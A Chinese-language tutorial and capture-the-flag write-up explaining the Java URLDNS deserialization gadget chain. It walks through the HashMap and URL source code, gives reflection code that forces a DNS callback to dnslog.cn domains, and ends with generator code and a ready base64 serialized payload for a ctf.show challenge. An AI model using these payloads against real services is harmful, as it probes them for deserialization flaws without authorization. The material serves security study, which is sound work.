URLDNS利用链
我们将ysoserial-all.jar进行导入
<ysoserial-all.jar> 
原理分析
具体的利用点在URL类的hashcode函数中
在java中,hashcode()是Object类中的一个方法,用于返回一个对象的哈希码(hashcode),该哈希码是一个int类型的数值,代表了该对象的特定标识符。哈希码的主要作用是在集合中进行元素的快速查找,比如在HashMap和HashSet中
我们写一个demo
java
import java.net.MalformedURLException;
import java.net.URL;
public class urldns {
public static void main(String[] args) throws MalformedURLException {
URL url = new URL("http://rpttv7.dnslog.cn");
url.hashCode();
}
}
其中,域名是我们自己生成的,用于被java访问,这样在DNS服务会有记录
hashcode
去看hashcode方法

可以看到,这里先做了一个判断,然后调用handler的hashcode方法。而handler是URL类中的一个属性

接着进入handler对象

java
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
这个方法传入一个URL类作为参数,依次通过调用getProtocol,getHostAddress,getFile,getPort,getRef等方法获取到传入的URL链接的Protocol(协议),HostAddress(主机地址),File(文件路径),Port(端口),Ref(锚点,即#后面的部分),获取完之后,对每部分调用他们的hashcode方法,将结果加到h上,最后将h返回
不过我们需要重点关注的是getHostAddress方法,该方法会返回一个IP地址,如果遇到的是域名,那么就需要发起DNS请求来将其解析成IP地址
java
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;
String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}
如果 u.hostAddress 为空,那么调用 URL 类的 getHost 方法获取主机地址(可以是 IP 也可以是域名),如果获取到的主机地址不为空,那么会调用 InetAddress 类的静态方法 getByName 并将主机名作为参数传入。
重点来了:InetAddress.getByName 是一个强大而实用的方法,它允许我们根据主机名获取对应的 IP 地址,并在各种网络应用场景中发挥巨大的作用。
发起请求有了,反序列化在哪里呢?这就要看hashmap类。
HashMap类
作用是用来存储内容,内容以键值对的形式存放。
java
import java.util.HashMap;
public class RunoobTest {
public static void main(String[] args) {
// 创建 HashMap 对象 Sites
HashMap<Integer, String> Sites = new HashMap<Integer, String>();
// 添加键值对
Sites.put(1, "Google");
Sites.put(2, "Runoob");
Sites.put(3, "Taobao");
Sites.put(4, "Zhihu");
System.out.println(Sites);
}
}

首先该类继承了Serializable接口,一个类继承该接口可以进行反序列化处理

并且该类还有对数据序列化的writeObject和对数据反序列化的readObject


对于java对象序列化操作的类是ObjectOutputStream,反序列化的类是ObjectInputStream
左键点击ObjectOutputStream类
ObjectOutputStream,它提供了不同的方法用来序列化不同类型的对象,比如writeInt等,对于自定义类型,提供了writeBoolean、writeObject等方法。

ObjectOutputStream中进行序列化操作的时候,会判断被序列化的对象是否自己重写了writeObject方法,如果重写了,就会调用被序列化对象自己的writeObject方法,如果没有重写,才会调用默认的序列化方法。
上面是序列化,那么HashMap类是如何对传入的内容进行反序列化呢?
回到readObject
java
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
对传入的内容进行反序列化,获得key、value,然后对key传入hash方法。我们看一下hash方法
java
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
如果key不为空,则进行hashCode方法,而我们在前面提到url类的hashCode方法是可以发起url请求对。现在需要做的就是我们需要将一个内容传送给hashcode方法,对该内容反序列化获取key和value。然后对key调用hashCode方法,如果key是url对象,url对象的hashCode方法可以发起url请求。
构造payload
思路:创建hashmap类-创建url类,将键值对写入到生成的hashmap对象中-对该对象进行序列化和反序列化。
java
Map hashMap = new HashMap();
URL url = new URL("http://nxh4ln.dnslog.cn");
hashMap.put(url,"steady");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
我们在上面讲过ObjectOutputStream中进行序列化操作的时候,对于传入的对象,如果该对象对应的类重写了writeObject方法,会调用该对象的方法,所以会调用HashMap的writeObject方法
运行之后是无法发起dns请求的,原因是在执行以上代码的时候会执行以下函数,其中hashcode不为-1,不会继续执行

问题就来了我们开头的代码如下,也调用了hashCode方法
java
URL url = new URL("http://rpttv7.dnslog.cn");
url.hashCode();
为什么此时的hashcode不满足
原因在于 hashMap.put(url,"test");
去看一下put代码

java
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
以及更进一下hash
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
也就是说在我们反序列化之前就已经调用过hashcode方法,此时的hashcode缓存下来,即hashcode不为-1。然后在反序列化的时候又一次调用hashcode方法,所以此时满足条件,进而不会继续执行代码发起dns请求
我们可以对hashcode与-1做判断时打一个断点

第二处在put下断点

此时hashcode的值缓存为472975790

第三处我们在hashmap下的put方法下断点

调试跟进,可以看到此时的hashcode的值,这样在反序列化的时候是发起不了DNS请求的

归根结底就是hashcode的值问题,修改一下就OK,所以我们用到反射的知识,在代码运行的时候动态的修改类的属性值,其中getDeclaredFiled方法获取一个类的所有成员变量,不包括基类。
java
Field field = u.getClass().getDeclaredField("hashCode");//获取变量之后进行修改。
field.setAccessible(true);
field.set(u,-1);//修改变量。
最终代码
HashMap hashMap = new HashMap();
URL url = new URL("http://plqddn.dnslog.cn");
Class clazz = Class.forName("java.net.URL");
Field f = clazz.getDeclaredField("hashCode");
f.setAccessible(true);
hashMap.put(url,"steady");
f.set(url,-1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();


CTF题(web846)

java
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;
public class demo {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URL url = new URL("http://eeab93f8-908e-40fa-b9dd-c3d03e226eba.challenge.ctf.show/");
Class clazz = Class.forName("java.net.URL");
Field f = clazz.getDeclaredField("hashCode");
f.setAccessible(true);
// 1. 先设一个临时值,防止put时触发DNS
f.set(url,1);
// 2. put进HashMap
hashMap.put(url,"steady");
// 3. 再设为-1,保证反序列化时触发DNS
f.set(url,-1);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
byte[] payloadBytes = byteArrayOutputStream.toByteArray();
String payload = Base64.getEncoder().encodeToString(payloadBytes);
System.out.println(payload);
}
}
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAN2VlYWI5M2Y4LTkwOGUtNDBmYS1iOWRkLWMzZDAzZTIyNmViYS5jaGFsbGVuZ2UuY3RmLnNob3d0AAEvcQB+AAV0AARodHRwcHh0AAZzdGVhZHl4
然后URL编码一下
